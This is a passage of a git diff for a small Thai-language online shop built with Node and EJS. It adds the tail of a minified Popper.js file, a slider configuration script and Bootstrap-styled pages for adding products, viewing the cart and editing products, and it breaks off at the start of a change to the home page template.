t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height;return t>=o.clientWidth&&i>=o.clientHeight}),l=0<a.length?a[0].key:d[0].key,f=e.split('-')[1];return l+(f?'-'+f:'')}function O(e,t,o){var i=d(t,o);return u(o,i)}function L(e){var t=getComputedStyle(e),o=parseFloat(t.marginTop)+parseFloat(t.marginBottom),i=parseFloat(t.marginLeft)+parseFloat(t.marginRight),n={width:e.offsetWidth+i,height:e.offsetHeight+o};return n}function x(e){var t={left:'right',right:'left',bottom:'top',top:'bottom'};return e.replace(/left|right|bottom|top/g,function(e){return t[e]})}function S(e,t,o){o=o.split('-')[0];var i=L(e),n={width:i.width,height:i.height},r=-1!==['right','left'].indexOf(o),p=r?'top':'left',s=r?'left':'top',d=r?'height':'width',a=r?'width':'height';return n[p]=t[p]+t[d]/2-i[d]/2,n[s]=o===s?t[s]-i[a]:t[x(s)],n}function T(e,t){return Array.prototype.find?e.find(t):e.filter(t)[0]}function D(e,t,o){if(Array.prototype.findIndex)return e.findIndex(function(e){return e[t]===o});var i=T(e,function(e){return e[t]===o});return e.indexOf(i)}function C(t,o,i){var n=void 0===i?t:t.slice(0,D(t,'name',i));return n.forEach(function(t){t['function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']||t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrowStyles:{},attributes:{},flipped:!1,offsets:{}};e.offsets.reference=O(this.state,this.popper,this.reference),e.placement=v(this.options.placement,e.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),e.originalPlacement=e.placement,e.offsets.popper=S(this.popper,e.offsets.reference,e.placement),e.offsets.popper.position='absolute',e=C(this.modifiers,e),this.state.isCreated?this.options.onUpdate(e):(this.state.isCreated=!0,this.options.onCreate(e))}}function k(e,t){return e.some(function(e){var o=e.name,i=e.enabled;return i&&o===t})}function W(e){for(var t=[!1,'ms','Webkit','Moz','O'],o=e.charAt(0).toUpperCase()+e.slice(1),n=0;n<t.length-1;n++){var i=t[n],r=i?''+i+o:e;if('undefined'!=typeof document.body.style[r])return r}return null}function P(){return this.state.isDestroyed=!0,k(this.modifiers,'applyStyle')&&(this.popper.removeAttribute('x-placement'),this.popper.style.left='',this.popper.style.position='',this.popper.style.top='',this.popper.style[W('transform')]=''),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r||H(n(p.parentNode),t,o,i),i.push(p)}function A(e,t,o,i){o.updateBound=i,B(e).addEventListener('resize',o.updateBound,{passive:!0});var r=n(e);return H(r,'scroll',o.updateBound,o.scrollParents),o.scrollElement=r,o.eventsEnabled=!0,o}function I(){this.state.eventsEnabled||(this.state=A(this.reference,this.options,this.state,this.scheduleUpdate))}function M(e,t){return B(e).removeEventListener('resize',t.updateBound),t.scrollParents.forEach(function(e){e.removeEventListener('scroll',t.updateBound)}),t.updateBound=null,t.scrollParents=[],t.scrollElement=null,t.eventsEnabled=!1,t}function R(){this.state.eventsEnabled&&(cancelAnimationFrame(this.scheduleUpdate),this.state=M(this.reference,this.state))}function U(e){return''!==e&&!isNaN(parseFloat(e))&&isFinite(e)}function Y(e,t){Object.keys(t).forEach(function(o){var i='';-1!==['width','height','top','right','bottom','left'].indexOf(o)&&U(t[o])&&(i='px'),e.style[o]=t[o]+i})}function j(e,t){Object.keys(t).forEach(function(o){var i=t[o];!1===i?e.removeAttribute(o):e.setAttribute(o,t[o])})}function F(e,t,o){var i=T(e,function(e){var o=e.name;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'end'===e?'start':'start'===e?'end':e}function q(e){var t=1<arguments.length&&void 0!==arguments[1]&&arguments[1],o=ae.indexOf(e),i=ae.slice(o+1).concat(ae.slice(0,o));return t?i.reverse():i}function V(e,t,o,i){var n=e.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),r=+n[1],p=n[2];if(!r)return e;if(0===p.indexOf('%')){var s;switch(p){case'%p':s=o;break;case'%':case'%r':default:s=i;}var d=c(s);return d[t]/100*r}if('vh'===p||'vw'===p){var a;return a='vh'===p?J(document.documentElement.clientHeight,window.innerHeight||0):J(document.documentElement.clientWidth,window.innerWidth||0),a/100*r}return r}function z(e,t,o,i){var n=[0,0],r=-1!==['right','left'].indexOf(i),p=e.split(/(\+|\-)/).map(function(e){return e.trim()}),s=p.indexOf(T(p,function(e){return-1!==e.search(/,|\s/)}));p[s]&&-1===p[s].indexOf(',')&&console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');var d=/\s*,\s*|\s+/,a=-1===s?[p]:[p.slice(0,s).concat([p[s].split(d)[0]]),[p[s].split(d)[1]].concat(p.slice(s+1))];return a=a.map(function(e,i){var n=(1===i?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t){var o,i=t.offset,n=e.placement,r=e.offsets,p=r.popper,s=r.reference,d=n.split('-')[0];return o=U(+i)?[+i,0]:z(i,p,s,d),'left'===d?(p.top+=o[0],p.left-=o[1]):'right'===d?(p.top+=o[0],p.left+=o[1]):'top'===d?(p.left+=o[0],p.top-=o[1]):'bottom'===d&&(p.left+=o[0],p.top+=o[1]),e.popper=p,e}for(var _=Math.min,X=Math.floor,J=Math.max,Q='undefined'!=typeof window&&'undefined'!=typeof document,Z=['Edge','Trident','Firefox'],$=0,ee=0;ee<Z.length;ee+=1)if(Q&&0<=navigator.userAgent.indexOf(Z[ee])){$=1;break}var i,te=Q&&window.Promise,oe=te?function(e){var t=!1;return function(){t||(t=!0,window.Promise.resolve().then(function(){t=!1,e()}))}}:function(e){var t=!1;return function(){t||(t=!0,setTimeout(function(){t=!1,e()},$))}},ie=function(){return void 0==i&&(i=-1!==navigator.appVersion.indexOf('MSIE 10')),i},ne=function(e,t){if(!(e instanceof t))throw new TypeError('Cannot call a class as a function')},re=function(){function e(e,t){for(var o,n=0;n<t.length;n++)o=t[n],o.enumerable=o.enumerable||!1,o.configurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return function(t,o,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign||function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},de=['auto-start','auto','auto-end','top-start','top','top-end','right-start','right','right-end','bottom-end','bottom','bottom-start','left-end','left','left-start'],ae=de.slice(3),le={FLIP:'flip',CLOCKWISE:'clockwise',COUNTERCLOCKWISE:'counterclockwise'},fe=function(){function t(o,i){var n=this,r=2<arguments.length&&void 0!==arguments[2]?arguments[2]:{};ne(this,t),this.scheduleUpdate=function(){return requestAnimationFrame(n.update)},this.update=oe(this.update.bind(this)),this.options=se({},t.Defaults,r),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=o&&o.jquery?o[0]:o,this.popper=i&&i.jquery?i[0]:i,this.options.modifiers={},Object.keys(se({},t.Defaults.modifiers,r.modifiers)).forEach(function(e){n.options.modifiers[e]=se({},t.Defaults.modifiers[e]||{},r.modifiers?r.modifiers[e]:{})}),this.modifiers=Object.keys(this.options.modifiers).map(function(e){return se({name:e},n.options.modifiers[e])}).sort(function(e,t){return e.order-t.order}),this.modifiers.forEach(function(t){t.enabled&&e(t.onLoad)&&t.onLoad(n.reference,n.popper,n.options,t,n.state)}),this.update();var p=this.options.eventsEnabled;p&&this.enableEventListeners(),this.state.eventsEnabled=p}return re(t,[{key:'update',value:function(){return N.call(this)}},{key:'destroy',value:function(){return P.call(this)}},{key:'enableEventListeners',value:function(){return I.call(this)}},{key:'disableEventListeners',value:function(){return R.call(this)}}]),t}();return fe.Utils=('undefined'==typeof window?global:window).PopperUtils,fe.placements=de,fe.Defaults={placement:'bottom',eventsEnabled:!0,removeOnDestroy:!1,onCreate:function(){},onUpdate:function(){},modifiers:{shift:{order:100,enabled:!0,fn:function(e){var t=e.placement,o=t.split('-')[0],i=t.split('-')[1];if(i){var n=e.offsets,r=n.reference,p=n.popper,s=-1!==['bottom','top'].indexOf(o),d=s?'left':'top',a=s?'width':'height',l={start:pe({},d,r[d]),end:pe({},d,r[d]+r[a]-p[a])};e.offsets.popper=se({},p,l[i])}return e}},offset:{order:200,enabled:!0,fn:G,offset:0},preventOverflow:{order:300,enabled:!0,fn:function(e,t){var o=t.boundariesElement||r(e.instance.popper);e.instance.reference===o&&(o=r(o));var i=y(e.instance.popper,e.instance.reference,t.padding,o);t.boundaries=i;var n=t.priority,p=e.offsets.popper,s={primary:function(e){var o=p[e];return p[e]<i[e]&&!t.escapeWithReference&&(o=J(p[e],i[e])),pe({},e,o)},secondary:function(e){var o='right'===e?'left':'top',n=p[o];return p[e]>i[e]&&!t.escapeWithReference&&(n=_(p[o],i[e]-('right'===e?p.width:p.height))),pe({},o,n)}};return n.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';p=se({},p,s[t](e))}),e.offsets.popper=p,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,i=t.reference,n=e.placement.split('-')[0],r=X,p=-1!==['top','bottom'].indexOf(n),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]<r(i[d])&&(e.offsets.popper[d]=r(i[d])-o[a]),o[d]>r(i[s])&&(e.offsets.popper[d]=r(i[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var i;if(!F(e.instance.modifiers,'arrow','keepTogether'))return e;var n=o.element;if('string'==typeof n){if(n=e.instance.popper.querySelector(n),!n)return e;}else if(!e.instance.popper.contains(n))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var r=e.placement.split('-')[0],p=e.offsets,s=p.popper,d=p.reference,a=-1!==['left','right'].indexOf(r),l=a?'height':'width',f=a?'Top':'Left',m=f.toLowerCase(),h=a?'left':'top',g=a?'bottom':'right',u=L(n)[l];d[g]-u<s[m]&&(e.offsets.popper[m]-=s[m]-(d[g]-u)),d[m]+u>s[g]&&(e.offsets.popper[m]+=d[m]+u-s[g]),e.offsets.popper=c(e.offsets.popper);var b=d[m]+d[l]/2-u/2,w=t(e.instance.popper),y=parseFloat(w['margin'+f],10),E=parseFloat(w['border'+f+'Width'],10),v=b-e.offsets.popper[m]-y-E;return v=J(_(s[l]-u,v),0),e.arrowElement=n,e.offsets.arrow=(i={},pe(i,m,Math.round(v)),pe(i,h,''),i),e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(k(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=y(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement),i=e.placement.split('-')[0],n=x(i),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case le.FLIP:p=[i,n];break;case le.CLOCKWISE:p=q(i);break;case le.COUNTERCLOCKWISE:p=q(i,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(i!==s||p.length===d+1)return e;i=e.placement.split('-')[0],n=x(i);var a=e.offsets.popper,l=e.offsets.reference,f=X,m='left'===i&&f(a.right)>f(l.left)||'right'===i&&f(a.left)<f(l.right)||'top'===i&&f(a.bottom)>f(l.top)||'bottom'===i&&f(a.top)<f(l.bottom),h=f(a.left)<f(o.left),c=f(a.right)>f(o.right),g=f(a.top)<f(o.top),u=f(a.bottom)>f(o.bottom),b='left'===i&&h||'right'===i&&c||'top'===i&&g||'bottom'===i&&u,w=-1!==['top','bottom'].indexOf(i),y=!!t.flipVariations&&(w&&'start'===r&&h||w&&'end'===r&&c||!w&&'start'===r&&g||!w&&'end'===r&&u);(m||b||y)&&(e.flipped=!0,(m||b)&&(i=p[d+1]),y&&(r=K(r)),e.placement=i+(r?'-'+r:''),e.offsets.popper=se({},e.offsets.popper,S(e.instance.popper,e.offsets.reference,e.placement)),e=C(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport'},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],i=e.offsets,n=i.popper,r=i.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return n[p?'left':'top']=r[o]-(s?n[p?'width':'height']:0),e.placement=x(t),e.offsets.popper=c(n),e}},hide:{order:800,enabled:!0,fn:function(e){if(!F(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=T(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottom<o.top||t.left>o.right||t.top>o.bottom||t.right<o.left){if(!0===e.hide)return e;e.hide=!0,e.attributes['x-out-of-boundaries']=''}else{if(!1===e.hide)return e;e.hide=!1,e.attributes['x-out-of-boundaries']=!1}return e}},computeStyle:{order:850,enabled:!0,fn:function(e,t){var o=t.x,i=t.y,n=e.offsets.popper,p=T(e.instance.modifiers,function(e){return'applyStyle'===e.name}).gpuAcceleration;void 0!==p&&console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');var s,d,a=void 0===p?t.gpuAcceleration:p,l=r(e.instance.popper),f=g(l),m={position:n.position},h={left:X(n.left),top:X(n.top),bottom:X(n.bottom),right:X(n.right)},c='bottom'===o?'top':'bottom',u='right'===i?'left':'right',b=W('transform');if(d='bottom'==c?-f.height+h.bottom:h.top,s='right'==u?-f.width+h.right:h.left,a&&b)m[b]='translate3d('+s+'px, '+d+'px, 0)',m[c]=0,m[u]=0,m.willChange='transform';else{var w='bottom'==c?-1:1,y='right'==u?-1:1;m[c]=d*w,m[u]=s*y,m.willChange=c+', '+u}var E={"x-placement":e.placement};return e.attributes=se({},E,e.attributes),e.styles=se({},m,e.styles),e.arrowStyles=se({},e.offsets.arrow,e.arrowStyles),e},gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:function(e){return Y(e.instance.popper,e.styles),j(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&Y(e.arrowElement,e.arrowStyles),e},onLoad:function(e,t,o,i,n){var r=O(n,t,e),p=v(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),Y(t,{position:'absolute'}),o},gpuAcceleration:void 0}}},fe});
+//# sourceMappingURL=popper.min.js.map
diff --git a/public/js/slider-setting.js b/public/js/slider-setting.js
new file mode 100644
index 0000000..fddf169
--- /dev/null
+++ b/public/js/slider-setting.js
@@ -0,0 +1,105 @@
+/*---------------------------------------------------------------------
+    File Name: slider-setting.js
+---------------------------------------------------------------------*/
+
+"use strict";
+	var tpj = jQuery;
+
+	var revapi486;
+	tpj(document).ready(function () {
+		if (tpj("#rev_slider_486_1").revolution == undefined) {
+			revslider_showDoubleJqueryError("#rev_slider_486_1");
+		} else {
+			revapi486 = tpj("#rev_slider_486_1").show().revolution({
+				sliderType: "standard",
+				jsFileLocation: "revolution/js/",
+				sliderLayout: "fullscreen",
+				dottedOverlay: "none",
+				delay: 5000,
+				navigation: {
+					keyboardNavigation: "on",
+					keyboard_direction: "horizontal",
+					mouseScrollNavigation: "off",
+					mouseScrollReverse: "default",
+					onHoverStop: "on",
+					touch: {
+						touchenabled: "on",
+						swipe_threshold: 75,
+						swipe_min_touches: 1,
+						swipe_direction: "horizontal",
+						drag_block_vertical: false
+					},
+					arrows: {
+						  style: "gyges",
+						  enable: true,
+						  hide_onmobile: false,
+						  hide_onleave: true,
+						  hide_delay: 200,
+						  hide_delay_mobile: 1200,
+						  tmp: '',
+						  left: {
+							  h_align: "left",
+							  v_align: "center",
+							  h_offset: 0,
+							  v_offset: 0
+						  },
+						  right: {
+							  h_align: "right",
+							  v_align: "center",
+							  h_offset: 0,
+							  v_offset: 0
+						  }
+					  },
+					bullets: {
+						enable: true,
+						hide_onmobile: true,
+						hide_under: 800,
+						style: "hebe",
+						hide_onleave: false,
+						direction: "horizontal",
+						h_align: "center",
+						v_align: "bottom",
+						h_offset: 0,
+						v_offset: 30,
+						space: 5,
+						tmp: '<span class="tp-bullet-image"></span><span class="tp-bullet-imageoverlay"></span><span class="tp-bullet-title"></span>'
+					}
+				},
+				viewPort: {
+					enable: true,
+					outof: "pause",
+					visible_area: "70%",
+					presize: false
+				},
+				responsiveLevels: [1240, 1024, 778, 480],
+				visibilityLevels: [1240, 1024, 778, 480],
+				gridwidth: [1240, 1024, 778, 480],
+				gridheight: [500, 450, 400, 350],
+				lazyType: "none",
+				parallax: {
+					type: "scroll",
+					origo: "enterpoint",
+					speed: 400,
+					levels: [5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 46, 47, 48, 49, 50, 55],
+					type: "scroll",
+				},
+				shadow: 0,
+				spinner: "off",
+				stopLoop: "off",
+				stopAfterLoops: -1,
+				stopAtSlide: -1,
+				shuffle: "off",
+				autoHeight: "off",
+				hideThumbsOnMobile: "off",
+				hideSliderAtLimit: 0,
+				hideCaptionAtLimit: 0,
+				hideAllCaptionAtLilmit: 0,
+				debugMode: false,
+				fallbacks: {
+					simplifyAll: "off",
+					nextSlideOnWindowFocus: "off",
+					disableFocusListener: false,
+				}
+			});
+		}
+	});
\ No newline at end of file
diff --git a/views/addProduct.ejs b/views/addProduct.ejs
new file mode 100644
index 0000000..f76f596
--- /dev/null
+++ b/views/addProduct.ejs
@@ -0,0 +1,131 @@
+<!DOCTYPE html>
+<html lang="th">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <title>เพิ่มสินค้าใหม่</title>
+    <!-- Bootstrap CSS -->
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css">
+    <style>
+        /* --- พื้นหลังและฟ้อนต์ --- */
+body {
+    background-color: #fafafa;
+    color: #333;
+    font-family: 'Arial', sans-serif;
+}
+
+/* --- กล่องคอนเทนเนอร์หลัก --- */
+.container {
+    max-width: 600px;
+    margin: 50px auto;
+    padding: 20px;
+    background: #ffffff;
+    border-radius: 12px;
+    box-shadow: 0 6px 16px rgba(0, 0, 0, 0.1); /* เพิ่มเงาให้ดูนุ่มนวล */
+    transition: box-shadow 0.3s ease, transform 0.2s ease;
+}
+
+.container:hover {
+    box-shadow: 0 10px 24px rgba(0, 0, 0, 0.15);
+    transform: translateY(-4px); /* เพิ่มเอฟเฟกต์ขยับขึ้น */
+}
+
+/* --- ปุ่มหลัก (สีส้ม) --- */
+.btn-orange {
+    background-color: #ff6600;
+    color: white;
+    border: none;
+    padding: 12px 20px;
+    border-radius: 8px;
+    font-size: 16px;
+    font-weight: 500;
+    cursor: pointer;
+    box-shadow: 0 4px 12px rgba(255, 102, 0, 0.3); /* เพิ่มเงาให้ปุ่ม */
+    transition: background-color 0.2s ease, transform 0.2s ease;
+}
+
+.btn-orange:hover {
+    background-color: #cc5200;
+    transform: translateY(-2px); /* ขยับขึ้นเล็กน้อย */
+    box-shadow: 0 6px 16px rgba(204, 82, 0, 0.4);
+}
+
+.btn-orange:active {
+    background-color: #b34700;
+    transform: translateY(0);
+    box-shadow: 0 3px 8px rgba(204, 82, 0, 0.3);
+}
+
+/* --- การจัดรูปแบบฟ้อนต์เพิ่มเติม --- */
+h1, h2, h3, h4, h5, h6 {
+    color: #222;
+    margin-bottom: 15px;
+}
+
+p {
+    line-height: 1.6;
+}
+
+/* --- ลิงก์ (Links) --- */
+a {
+    color: #ff6600;
+    text-decoration: none;
+    transition: color 0.2s ease;
+}
+
+a:hover {
+    color: #cc5200;
+}
+
+/* --- Responsive สำหรับมือถือ --- */
+@media (max-width: 768px) {
+    .container {
+        padding: 15px;
+    }
+
+    .btn-orange {
+        padding: 10px 15px;
+        font-size: 14px;
+    }
+}
+
+    </style>
+</head>
+<body>
+
+<div class="container">
+    <h2 class="text-center mb-4">เพิ่มสินค้าใหม่</h2>
+    
+    <form action="/addProduct" method="POST">
+        <div class="mb-3">
+            <label class="form-label">ชื่อสินค้า:</label>
+            <input type="text" name="product_name" class="form-control" required>
+        </div>
+
+        <div class="mb-3">
+            <label class="form-label">ราคาสินค้า:</label>
+            <input type="number" name="price" class="form-control" required>
+        </div>
+
+        <div class="mb-3">
+            <label class="form-label">URL รูปภาพ:</label>
+            <input type="text" name="image" class="form-control" required>
+        </div>
+
+        <div class="mb-3">
+            <label class="form-label">รายละเอียดสินค้า:</label>
+            <textarea name="description" class="form-control"></textarea>
+        </div>
+
+        <button type="submit" class="btn btn-orange w-100">เพิ่มสินค้า</button>
+    </form>
+
+    <div class="text-center mt-3">
+        <a href="/" class="btn btn-secondary">กลับหน้าหลัก</a>
+    </div>
+</div>
+
+<!-- Bootstrap JS -->
+<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script>
+</body>
+</html>
diff --git a/views/cart.ejs b/views/cart.ejs
new file mode 100644
index 0000000..c78d818
--- /dev/null
+++ b/views/cart.ejs
@@ -0,0 +1,167 @@
+<!DOCTYPE html>
+<html lang="th">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <title>ตะกร้าสินค้าของคุณ</title>
+    <!-- Bootstrap CSS -->
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css">
+    <style>
+        /* --- พื้นหลังและสีตัวอักษรหลัก --- */
+body {
+    background-color: #fafafa;
+    color: #333;
+    font-family: 'Arial', sans-serif;
+}
+
+/* --- กล่องคอนเทนเนอร์หลัก --- */
+.container {
+    max-width: 900px;
+    margin: 30px auto;
+    padding: 20px;
+    background: #ffffff;
+    border-radius: 12px;
+    box-shadow: 0 6px 16px rgba(0, 0, 0, 0.1); /* เพิ่มเงาให้สมูท */
+    transition: box-shadow 0.3s ease;
+}
+
+.container:hover {
+    box-shadow: 0 8px 20px rgba(0, 0, 0, 0.15);
+}
+
+/* --- ปุ่มหลัก (สีส้ม) --- */
+.btn-orange {
+    background-color: #ff6600;
+    color: white;
+    border: none;
+    padding: 12px 20px;
+    border-radius: 8px;
+    font-size: 16px;
+    font-weight: 500;
+    transition: background-color 0.2s ease, transform 0.1s ease;
+    cursor: pointer;
+    box-shadow: 0 4px 12px rgba(255, 102, 0, 0.3);
+}
+
+.btn-orange:hover {
+    background-color: #cc5200;
+    transform: translateY(-2px);
+    box-shadow: 0 6px 16px rgba(204, 82, 0, 0.4);
+}
+
+.btn-orange:active {
+    background-color: #b34700;
+    transform: translateY(0);
+    box-shadow: 0 3px 8px rgba(204, 82, 0, 0.3);
+}
+
+/* --- ตาราง (Table) --- */
+table {
+    width: 100%;
+    border-collapse: collapse;
+    margin-top: 20px;
+}
+
+table th, table td {
+    padding: 12px;
+    text-align: center;
+    border-bottom: 1px solid #ddd;
+    font-size: 14px;
+}
+
+table th {
+    background-color: #ff6600;
+    color: white;
+}
+
+table tr:hover {
+    background-color: #f1f1f1;
+    transition: background-color 0.2s ease;
+}
+
+/* --- รูปภาพสินค้า (Product Image) --- */
+.product-image {
+    max-width: 100px;
+    border-radius: 8px;
+    transition: transform 0.2s ease;
+}
+
+.product-image:hover {
+    transform: scale(1.05);
+}
+
+/* --- การปรับแต่งเพิ่มเติม --- */
+h1, h2, h3, h4, h5, h6 {
+    color: #222;
+    margin-bottom: 15px;
+}
+
+p {
+    line-height: 1.6;
+}
+
+a {
+    color: #ff6600;
+    text-decoration: none;
+    transition: color 0.2s ease;
+}
+
+a:hover {
+    color: #cc5200;
+}
+
+    </style>
+</head>
+<body>
+
+<div class="container">
+    <h2 class="text-center mb-4">ตะกร้าสินค้าของคุณ</h2>
+
+    <% if (cart.length > 0) { %>
+        <table class="table table-bordered">
+            <thead>
+                <tr>
+                    <th>รูปสินค้า</th>
+                    <th>ชื่อสินค้า</th>
+                    <th>จำนวน</th>
+                    <th>ราคา</th>
+                    <th>รวม</th>
+                    <th>ลบ</th>
+                </tr>
+            </thead>
+            <tbody>
+                <% cart.forEach(item => { %>
+                    <tr>
+                        <td><img src="<%= item.image %>" class="product-image"></td>
+                        <td><%= item.product_name %></td>
+                        <td><%= item.quantity %></td>
+                        <td><%= item.price %> บาท</td>
+                        <td><%= (item.price * item.quantity).toFixed(2) %> บาท</td>
+                        <td>
+                            <form action="/cart/remove/<%= item.product_id %>" method="POST">
+                                <button type="submit" class="btn btn-danger btn-sm">ลบ</button>
+                            </form>
+                        </td>
+                    </tr>
+                <% }) %>
+            </tbody>
+        </table>
+
+        <h3>ยอดรวม: <%= cart.reduce((sum, item) => sum + item.price * item.quantity, 0).toFixed(2) %> บาท</h3>
+
+        <form action="/checkout" method="POST">
+            <button type="submit" class="btn btn-orange w-100">ยืนยันคำสั่งซื้อ</button>
+        </form>
+    <% } else { %>
+        <p class="text-center text-danger">ไม่มีสินค้าในตะกร้า</p>
+    <% } %>
+
+    <div class="text-center mt-3">
+        <a href="/" class="btn btn-secondary">กลับไปซื้อสินค้า</a>
+    </div>
+</div>
+
+<!-- Bootstrap JS -->
+<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script>
+</body>
+</html>
diff --git a/views/editProduct.ejs b/views/editProduct.ejs
new file mode 100644
index 0000000..ccc403f
--- /dev/null
+++ b/views/editProduct.ejs
@@ -0,0 +1,117 @@
+<!DOCTYPE html>
+<html lang="th">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <title>แก้ไขสินค้า</title>
+    <!-- Bootstrap CSS -->
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css">
+    <style>
+        /* --- พื้นหลังและสีตัวอักษรหลัก --- */
+body {
+    background-color: #fafafa;
+    color: #333;
+    font-family: Arial, sans-serif;
+}
+
+/* --- กล่องคอนเทนเนอร์หลัก --- */
+.container {
+    max-width: 600px;
+    margin: 50px auto;
+    background: #ffffff;
+    padding: 25px;
+    border-radius: 12px;
+    box-shadow: 0 6px 16px rgba(0, 0, 0, 0.1); /* เพิ่มความลึกของเงา */
+    transition: box-shadow 0.3s ease;
+}
+
+.container:hover {
+    box-shadow: 0 8px 20px rgba(0, 0, 0, 0.15); /* เพิ่มเงาเมื่อ hover */
+}
+
+/* --- ปุ่มหลัก (สีส้ม) --- */
+.btn-orange {
+    background-color: #ff6600;
+    color: white;
+    border: none;
+    padding: 12px 20px;
+    border-radius: 8px;
+    font-size: 16px;
+    font-weight: 500;
+    transition: background-color 0.2s ease, transform 0.1s ease;
+    cursor: pointer;
+    box-shadow: 0 4px 12px rgba(255, 102, 0, 0.3);
+}
+
+.btn-orange:hover {
+    background-color: #cc5200;
+    transform: translateY(-2px);
+    box-shadow: 0 6px 16px rgba(204, 82, 0, 0.4);
+}
+
+.btn-orange:active {
+    background-color: #b34700;
+    transform: translateY(0);
+    box-shadow: 0 3px 8px rgba(204, 82, 0, 0.3);
+}
+
+/* --- ปรับแต่งเพิ่มเติมสำหรับความสวยงาม --- */
+h1, h2, h3, h4, h5, h6 {
+    color: #222;
+    margin-bottom: 15px;
+}
+
+p {
+    line-height: 1.6;
+}
+
+a {
+    color: #ff6600;
+    text-decoration: none;
+    transition: color 0.2s ease;
+}
+
+a:hover {
+    color: #cc5200;
+}
+
+    </style>
+</head>
+<body>
+
+<div class="container">
+    <h2 class="text-center mb-4">แก้ไขสินค้า</h2>
+    
+    <form action="/products/<%= product.product_id %>/update" method="POST">
+        <div class="mb-3">
+            <label class="form-label">ชื่อสินค้า:</label>
+            <input type="text" name="product_name" value="<%= product.product_name %>" class="form-control" required>
+        </div>
+
+        <div class="mb-3">
+            <label class="form-label">ราคา:</label>
+            <input type="number" name="price" value="<%= product.price %>" class="form-control" required>
+        </div>
+
+        <div class="mb-3">
+            <label class="form-label">ลิงก์รูปภาพ:</label>
+            <input type="text" name="image" value="<%= product.image %>" class="form-control">
+        </div>
+
+        <div class="mb-3">
+            <label class="form-label">รายละเอียด:</label>
+            <textarea name="description" class="form-control" required><%= product.description %></textarea>
+        </div>
+
+        <button type="submit" class="btn btn-orange w-100">บันทึกการแก้ไข</button>
+    </form>
+
+    <div class="text-center mt-3">
+        <a href="/" class="btn btn-secondary">กลับหน้าหลัก</a>
+    </div>
+</div>
+
+<!-- Bootstrap JS -->
+<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script>
+</body>
+</html>
diff --git a/views/index.ejs b/views/index.ejs
index 6cafeb5..98e68e1 100644
--- a/views/index.ejs
+++ b/views/index.ejs
@@ -1,18 +1,116 @@
 <!DOCTYPE html>
 <html lang="en">
-<head>
-  <meta charset="UTF-8">
